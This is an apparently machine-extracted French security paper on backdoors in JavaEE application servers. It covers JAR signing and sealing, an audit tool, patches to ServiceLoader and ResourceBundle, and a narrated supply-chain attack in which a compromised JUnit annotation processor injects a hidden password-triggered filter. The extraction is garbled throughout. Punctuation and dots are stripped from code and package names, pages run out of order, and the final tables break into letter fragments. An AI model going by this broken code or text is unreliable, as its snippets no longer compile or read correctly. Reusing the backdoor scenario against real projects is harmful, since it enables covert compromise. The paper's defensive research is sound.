52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
